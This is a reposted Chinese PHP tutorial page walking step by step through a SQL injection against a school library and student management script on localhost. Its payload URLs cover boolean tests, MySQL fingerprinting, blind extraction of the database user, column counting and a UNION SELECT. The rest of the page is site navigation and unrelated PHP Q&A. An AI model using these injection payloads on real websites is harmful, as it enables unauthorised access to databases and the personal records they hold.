微信公众号 讲师中心
首页
文章
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 自媒体 新闻
专题
后端开发 web前端 数据库 开发工具 php框架 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程 新闻
AI工具
AI 聊天问答 Agent智能体 AI 文本写作 AI 绘画作图 AI 设计工具 AI 视频创作 AI 音频制作 AI 办公学习 AI 编程开发 Prompt指令
学习
大前端 后端开发 数据库 移动端 运维开发 计算机基础
编程手册
大前端 后端开发 数据库 移动端 运维开发 计算机基础
下载
js特效 网站源码 工具下载 类库下载 网站素材 学习资源 插件扩展 手机/移动开发 手机游戏
搜索
后端开发 web前端 数据库 开发工具 php框架 常见问题 科技 Java 系统教程 电脑教程 硬件教程 手机教程 软件教程 游戏教程
自媒体 新闻
首页 > 后端开发 > php教程 > 正文

简单PHP注入演示_PHP教程

php中文网
发布： 2016-07-13 17:08:50
原创
1126人浏览过

学校的一个外聘老师写的程序,图书+学生管理系统，文件名001.php,002.php,003.php......(B名起的)问题出在004.php第多少行我也忘了，

简单PHP注入演示_PHP教程 书名:
注意这句，ts_id没有任何过滤，赤裸裸的等我们虐待，HOO~(虽然我知道数据库的一切信息，但是这里我还是要黑箱测试)
LET‘S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 异常
白痴注入
判断数据库：
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回，说明数据库支持/*注释，什么数据库支持/*呢？MYSQL！
读取用户名：
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回，user()是MYSQL的内置函数，用来查看用户，这里是查看个用户名的第一个字符，没错114是ACCSLL中的"r"，我是root连接，所以语句为真(这招贱心教我滴)但是如果用户名是rijnc的话我不是被骗了？所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密码是rootrijnc，那我无语…
判断字段数：
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失败，说明字段数小于10，一直试到7语句成立，一共是7个字段了，对我们以后的联合查询带来极大方便，有个小技巧，先5，在10，在15，依次一点点缩小范围
联合查询:
知道了字段数直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
正常返回，说明支持union，把语句改改，用and 1=2让他显示错误，嘿嘿~~~
提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/629814.htmlTechArticle学校的一个外聘老师写的程序,图书+学生管理系统，文件名001.php,002.php,003.php......(B名起的)问题出在004.php第多少行我也忘了， td width=118 row...
相关标签：
php

大家都在看：

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习？PHP怎么入门？PHP在哪学？PHP怎么学才快？不用担心，这里为大家提供了PHP速学教程(入门到精通)，有需要的小伙伴保存下载就能学习啦！

下载
来源：php中文网
收藏 点赞
上一篇：安全攻略：PHP脚本木马的高级防范_PHP教程 下一篇：防范SQL注入攻击的代码_PHP教程
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
PHP调用数据校验规则配置错误怎么办_PHP数据校验规则配置错误问题排查与验证规则教程 首先检查校验规则语法格式是否正确，如Laravel中应使用[‘email’=>‘required|email’]；确认字段名拼写无误且复合规则用管道符分隔；确保数组键名与请求参数一致；验证调用上下文正确，如控制器中传入正确的请求对象和规则数组；自定义Request类需返回合规数组；动态规则需检查变量有效性；通过var_dump、异常捕获和调试工具跟踪执行流程；对照框架文档确认规则用法符合版本要求。
2025-11-09 15:58:02
576
php怎么调试接口微服务架构_php接口微服务拆分与通信调试方法 答案：调试PHP微服务需结合日志追踪、API工具、链路追踪和本地联调。1.使用Monolog记录结构化日志，添加唯一请求ID；2.用Postman或curl测试接口，验证输入输出；3.引入Jaeger/Zipkin实现分布式追踪，可视化调用链；4.通过DockerCompose启动依赖，Mock非关键服务，配合Xdebug远程调试。
2025-11-09 15:58:02
760
如何下载php文件下载文件_获取php文件下载功能代码的方法 答案：通过设置HTTP响应头可实现PHP文件下载。使用header()函数指定Content-Type和Content-Disposition，配合readfile()输出文件内容，能强制浏览器下载而非执行PHP文件，需注意路径安全与权限控制，避免泄露敏感信息。
2025-11-09 15:52:02
882
php代码数据库死锁怎么解决_php代码数据库死锁预防与性能优化方法教程 死锁由多事务循环等待资源引发，解决方法包括捕获异常后重试、减少事务范围、按固定顺序访问资源、优化索引及降低隔离级别，预防可提升系统稳定性与性能。
2025-11-09 15:36:04
668
怎么在PHP代码中实现图片上传功能_PHP图片上传功能实现与安全处理教程 首先创建含enctype的HTML表单，再用PHP接收文件，检查目录、移动临时文件，验证类型与大小，生成唯一文件名，并调整php.ini限制以确保上传成功。
2025-11-09 15:31:32
326
PHP分页怎么SEO友好_PHP分页SEO友好方法及搜索引擎优化。 使用规范标签、分页导航标签、静态化URL、站点地图和限制分页数量可提升PHP分页的SEO效果，确保搜索引擎准确抓取与索引内容。
2025-11-09 15:23:27
695
php网站服务器域名解析怎么优化加速_php网站DNS解析配置与访问速度优化方法 优化DNS需选择Cloudflare、阿里云等优质服务商，启用Anycast减少延迟；通过dns-prefetch预解析关键域名，合理设置TTL平衡更新与性能，结合CDN与智能解析实现就近访问，系统性提升网站速度。
2025-11-09 15:17:53
688
PHP日志怎么管理_PHP日志管理策略及分析技巧。 配置PHP错误日志并使用Monolog实现结构化记录，结合分级存储、集中式收集分析及日志轮转策略，可有效提升故障排查效率与系统可维护性。
2025-11-09 15:10:02
431
php代码安全性怎么加固_php代码安全漏洞修复与防护优化教程 答案：PHP安全需从输入验证、权限控制等方面入手，使用预处理语句防SQL注入，输出转义防XSS，白名单防文件包含，安全配置会话与密码，并关闭危险函数和错误显示。
2025-11-09 15:01:02
719
如何安装php安全扫描工具_网站漏洞检测与安全加固配置方法教程 安装PHP安全扫描工具是加强系统防护的关键。一、选择合适工具：评估RIPS、PHPStan等开源工具功能，通过Composer安装并验证可执行性；二、部署RIPS：下载解压后配置Web访问，完成数据库初始化，上传项目源码启动扫描；三、检测依赖风险：使用SecurityChecker的PHAR包检查composer.lock中的CVE漏洞组件；四、自动化扫描：编写Shell脚本整合工具调用，结合crontab实现定时任务；五、强化运行环境：修改php.ini禁用危险函数，启用open_basedi
2025-11-09 14:35:02
280
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部